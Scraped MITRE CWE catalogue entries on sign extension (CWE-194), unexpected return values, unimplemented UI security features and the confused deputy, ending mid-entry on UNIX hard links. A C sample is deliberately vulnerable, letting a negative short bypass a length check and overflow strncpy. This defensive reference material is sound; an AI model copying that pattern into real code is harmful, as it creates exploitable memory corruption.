The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

(bad code)
Example Language:
int GetUntrustedInt () {
return(0x0000FFFF);
}

void main (int argc, char **argv) {
char path[256];
char *input;
int i;
short s;
unsigned int sz;

i = GetUntrustedInt();
s = i;
/* s is -1 so it passes the safety check - CWE-697 */
if (s > 256) {
DiePainfully("go away!\n");
}

/* s is sign-extended and saved in sz */
sz = s;

/* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
printf("i=%d, s=%d, sz=%u\n", i, s, sz);

input = GetUserInput("Enter pathname:");

/* strncpy interprets s as unsigned int, so it's treated as MAX_INT
(CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);
}

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

+ Observed Examples
ReferenceDescription
Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)
Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection.
Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error.
chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.
chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier.
Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy.
+ Potential Mitigations

Phase: Implementation

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform validation after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

Maintenance

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPSign extension error
Software Fault PatternsSFP1Glitch in computation
CERT C Secure CodingINT31-CCWE More SpecificEnsure that integer conversions do not result in lost or misinterpreted data
+ References
[REF-161] John McDonald, Mark Dowd and Justin Schuh. "C Language Issues for Application Security". 2008-01-25. <http://www.informit.com/articles/article.aspx?p=686170&seqNum=6>.
[REF-162] Robert Seacord. "Integral Security". 2006-11-03. <https://drdobbs.com/cpp/integral-security/193501774>. URL validated: 2023-04-07.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Relationships, Taxonomy_Mappings
2008-11-05CWE Content TeamMITRE
complete rewrite of the entire entry
2008-11-24CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Demonstrative_Examples
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Applicable_Platforms
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated References, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations, References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Sign Extension Error
2008-11-24Incorrect Sign Extension

CWE-394: Unexpected Status Code or Return Value

Weakness ID: 394
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Unexpected State; Alter Execution Logic

+ Observed Examples
ReferenceDescription
Certain packets (zero byte and other lengths) cause a recvfrom call to produce an unexpected return code that causes a server's listening loop to exit.
Unchecked return code from recv() leads to infinite loop.
Kernel function does not properly handle when a null is returned by a function call, causing it to call another function that it shouldn't.
Memory not properly cleared when read() function call returns fewer bytes than expected.
Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.
Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.
Game server doesn't check return values for functions that handle text strings and associated size values.
Resultant infinite loop when function call returns -1 value.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Usually primary, but can be resultant from issues such as behavioral change or API abuse. This can produce resultant vulnerabilities.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnexpected Status Code or Return Value
Software Fault PatternsSFP4Unchecked Status Condition
SEI CERT Perl Coding StandardEXP00-PLImpreciseDo not return undef
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-447: Unimplemented or Unsupported Feature in UI

Weakness ID: 447
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.446UI Discrepancy for Security Feature
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.671Lack of Administrator Control over Security
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.355User Interface Security Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Observed Examples
ReferenceDescription
GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file.
Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.
Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.
Web browser does not properly modify security setting when the user sets it.
+ Potential Mitigations

Phase: Testing

Perform functionality testing before deploying the application.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.995SFP Secondary Cluster: Feature
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnimplemented or unsupported feature in UI
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations, Research_Gaps
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Weakness ID: 441
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
+ Extended Description

If an attacker cannot directly contact a target, but the product has access to the target, then the attacker can send a request to the product and have it be forwarded to the target. The request would appear to be coming from the product's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.

Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:

  • The product runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
  • The attacker is prevented from making the request directly to the target; and
  • The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, hardware IP, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.
+ Alternate Terms
Confused Deputy:
This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.918Server-Side Request Forgery (SSRF)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1021Improper Restriction of Rendered UI Layers or Frames
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.611Improper Restriction of XML External Entity Reference
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Hardware Design" (CWE-1194)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1198Privilege Separation and Access Control Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation
Access Control

Technical Impact: Gain Privileges or Assume Identity; Hide Activities; Execute Unauthorized Code or Commands

+ Demonstrative Examples

Example 1

A SoC contains a microcontroller (running ring-3 (least trusted ring) code), a Memory Mapped Input Output (MMIO) mapped IP core (containing design-house secrets), and a Direct Memory Access (DMA) controller, among several other compute elements and peripherals. The SoC implements access control to protect the registers in the IP core (which registers store the design-house secrets) from malicious, ring-3 (least trusted ring) code executing on the microcontroller. The DMA controller, however, is not blocked off from accessing the IP core for functional reasons.

(bad code)
Example Language: Other 
The code in ring-3 (least trusted ring) of the microcontroller attempts to directly read the protected registers in IP core through MMIO transactions. However, this attempt is blocked due to the implemented access control. Now, the microcontroller configures the DMA core to transfer data from the protected registers to a memory region that it has access to. The DMA core, which is acting as an intermediary in this transaction, does not preserve the identity of the microcontroller and, instead, initiates a new transaction with its own identity. Since the DMA core has access, the transaction (and hence, the attack) is successful.

The weakness here is that the intermediary or the proxy agent did not ensure the immutability of the identity of the microcontroller initiating the transaction.

(good code)
Example Language: Other 
The DMA core forwards this transaction with the identity of the code executing on the microcontroller, which is the original initiator of the end-to-end transaction. Now the transaction is blocked, as a result of forwarding the identity of the true initiator which lacks the permission to access the confidential MMIO mapped IP core.
+ Observed Examples
ReferenceDescription
FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's.
RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper.
FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy.
Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.
CGI script accepts and retrieves incoming URLs.
Bounce attack allows access to TFTP from trusted side.
Web-based mail program allows internal network scanning using a modified POP3 port number.
URL-downloading library automatically follows redirects to file:// and scp:// URLs
+ Potential Mitigations

Phase: Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Phase: Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

Theoretical

It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

Maintenance

This could possibly be considered as an emergent resource.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnintended proxy/intermediary
PLOVERProxied Trusted Channel
WASC32Routing Detour
+ References
[REF-432] Norm Hardy. "The Confused Deputy (or why capabilities might have been invented)". 1988. <http://www.cap-lore.com/CapTheory/ConfusedDeputy.html>.
[REF-1125] moparisthebest. "Validation Vulnerabilities". 2015-06-05. <https://mailarchive.ietf.org/arch/msg/acme/s6Q5PdJP48LEUwgzrVuw_XPKCsM/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2020-08-14Arun Kanuparthi, Hareesh Khattri, Parbati K. MannaIntel Corporation
Provided demonstrative example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Taxonomy_Mappings, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Description, Maintenance_Notes, Name, Observed_Examples, References, Relationship_Notes, Relationships, Theoretical_Notes, Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-14CWE Content TeamMITRE
Per Intel Corporation suggestion, added language to be inclusive to hardware: updated Demonstrative_Examples, Description, Extended_Description, Applicable_Platforms, Potential_Mitigation, Common_Consequences, References
2020-08-20CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2013-02-21Unintended Proxy/Intermediary

CWE-62: UNIX Hard Link

Weakness ID: 62
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
+ Extended Description
